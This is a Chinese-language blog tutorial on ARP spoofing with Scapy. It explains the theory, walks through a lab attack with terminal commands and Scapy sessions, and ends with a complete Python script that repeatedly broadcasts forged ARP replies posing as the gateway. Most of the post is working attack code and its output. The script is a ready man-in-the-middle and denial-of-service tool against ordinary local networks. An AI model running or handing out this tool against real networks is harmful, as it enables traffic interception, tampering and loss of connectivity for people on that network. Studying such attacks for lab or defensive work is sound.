Scapy—ARP欺骗


Scapy—ARP欺骗

一、ARP欺骗原理

1、简介

ARP欺骗ARP spoofing),又称ARP毒化ARP poisoning)是针对以太网地址解析协议(ARP)的一种攻击技术。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网上上特定计算机或所有计算机无法正常连线。

2、运行机制

ARP欺骗的运作原理是由攻击者发送假的ARP数据包到网上,尤其是送到网关上。其目的是要让送至特定的IP地址的流量被错误送到攻击者所取代的地方。因此攻击者可将这些流量另行转送到真正的网关(被动式数据包嗅探,passive sniffing)或是篡改后再转送(中间人攻击,man-in-the-middle attack)。攻击者亦可将ARP数据包导到不存在的MAC地址以达到阻断服务攻击的效果。

3、基本案例

假设在一个LAN里,只有三台主机A、B、C,且C是攻击者。

  1. 攻击者聆听局域网上的MAC地址。它只要收到两台主机洪泛的ARP Request,就可以进行欺骗活动。
  2. 主机A、B都洪泛了ARP Request.攻击者现在有了两台主机的IP、MAC地址,开始攻击。
  3. 攻击者发送一个ARP Reply给主机B,把此包protocol header里的sender IP设为A的IP地址,sender mac设为攻击者自己的MAC地址。
  4. 主机B收到ARP Reply后,更新它的ARP表,把主机A的MAC地址(IP_A, MAC_A)改为(IP_A, MAC_C)。
  5. 当主机B要发送数据包给主机A时,它根据ARP表来封装数据包的Link报头,把目的MAC地址设为MAC_C,而非MAC_A。
  6. 当交换机收到B发送给A的数据包时,根据此包的目的MAC地址(MAC_C)而把数据包转发给攻击者C。
  7. 攻击者收到数据包后,可以把它存起来后再发送给A,达到偷听效果。攻击者也可以篡改数据后才发送数据包给A,造成伤害。

第一部分均来自百度百科…

二、Scapy构造包分析

1、获取两个设备的网关IP地址及MAC地址

1.1、查看本机的IP地址

[root@localhost ~]# ifconfig ens33 | grep inet | awk -F " " '{print $2}'
10.87.51.3

本机的 IP 地址为: 10.87.51.3

1.2、查看本机MAC地址

[root@localhost ~]# ip addr show ens33 | grep link | awk -F " " '{print $2}'
00:0c:29:7f:7c:ee

本机的 MAC 地址为:00:0c:29:7f:7c:ee

1.3、获取网关的IP地址

[root@localhost ~]# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         10.87.51.2      0.0.0.0         UG    0      0        0 ens33
10.87.51.0      0.0.0.0         255.255.255.0   U     0      0        0 ens33

网关的 IP 地址为:10.87.51.2

1.4、获取网关的MAC地址

>>> p = Ether(dst="ff:ff:ff:ff:ff:ff",src="00:0c:29:7f:7c:ee")/ARP(pdst="10.87.51.2")
>>> res1 = srp(p)
Begin emission:
Finished sending 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> res1[0].res
[(<Ether  dst=ff:ff:ff:ff:ff:ff src=00:0c:29:7f:7c:ee type=ARP |<ARP  pdst=10.87.51.2 |>>, <Ether  dst=00:0c:29:7f:7c:e
e src=00:50:56:ea:29:0e type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=00:50:56:ea:29:0e psrc=10.8
7.51.2 hwdst=00:0c:29:7f:7c:ee pdst=10.87.51.3

网关的 MAC 地址为:00:50:56:ea:29:0e

2、构建ARP欺骗

1、攻击机构建ARP数据包并进行攻击

这里需要注意,当靶机释放ARP缓存后立刻进行攻击,而不是构建完之后立刻发送

>>> p = Ether(dst="ff:ff:ff:ff:ff:ff",src="00:0c:29:7f:7c:ee")/ARP(pdst='10.87.51.7',psrc='10.87.51.2')

2、靶机释放ARP连接并重新获取

3、测试连接性

C:\Documents and Settings>ping baidu.com
Ping request could not find host baidu.com. Please check the name and try again.

重新释放后,再测试

C:\Documents and Settings>ping baidu.com

Pinging baidu.com [220.181.38.148] with 32 bytes of data:

Reply from 220.181.38.148: bytes=32 time=22ms TTL=128
Reply from 220.181.38.148: bytes=32 time=32ms TTL=128
Reply from 220.181.38.148: bytes=32 time=22ms TTL=128
Reply from 220.181.38.148: bytes=32 time=22ms TTL=128

Ping statistics for 220.181.38.148:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 22ms, Maximum = 32ms, Average = 24ms

所以本次ARP欺骗攻击是成功的。

三、代码编写

在代码中添加获取网关地址的功能,找到网关后开始将本机的MAC地址作为网关发送广播帧

#!/usr/bin/python3
# -*- coding: utf-8 -*- 
# --author:valecalida--
# Edit time: 2020/4/20 17:35
from scapy.layers.inet import Ether
from scapy.layers.l2 import ARP, sendp
from threading import Thread
from time import time,sleep
from subprocess import getoutput
import sys


def gate_info(iface):
    gate_ip = getoutput("route -n | tail -n 2| awk -F ' ' '{print $2}' | grep -v '0.0.0.0'")
    self_mac = getoutput("ip addr show %s | grep link | awk -F ' ' '{print $2}'" % iface)
    return gate_ip, self_mac


def send_packet(self_mac, network, gate_ip, broadcast="ff:ff:ff:ff:ff:ff",):
    packet = Ether(dst=broadcast, src=self_mac)/ARP(pdst=network, psrc=gate_ip)
    sendp(packet,verbose=False)


def main():
    gate_ip, self_mac = gate_info(sys.argv[2])

    while True:
        print("Attacking %s with setting gateway: %s" %(gate_ip,self_mac))
        sleep(2)
        try:
            t = Thread(target=send_packet, args=[self_mac, sys.argv[3], gate_ip])
            t.start()
        except KeyboardInterrupt:
            print("[-] 进程被用户打断,将退出程序...")
            sys.exit()


if __name__ == '__main__':
    if sys.argv[1] == '-i' and len(sys.argv) == 4:
        print("[+] 开始进行ARP欺骗攻击...")
        main()
    else:
        print("Usage:\n\tpython3 ARP_Spoofing.py -i <interfaces> IP")
        print("\tpython3 ARP_Spoofing.py -i eth0 192.168.1.1")

文章作者: valecalida
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 valecalida !
评论
  目录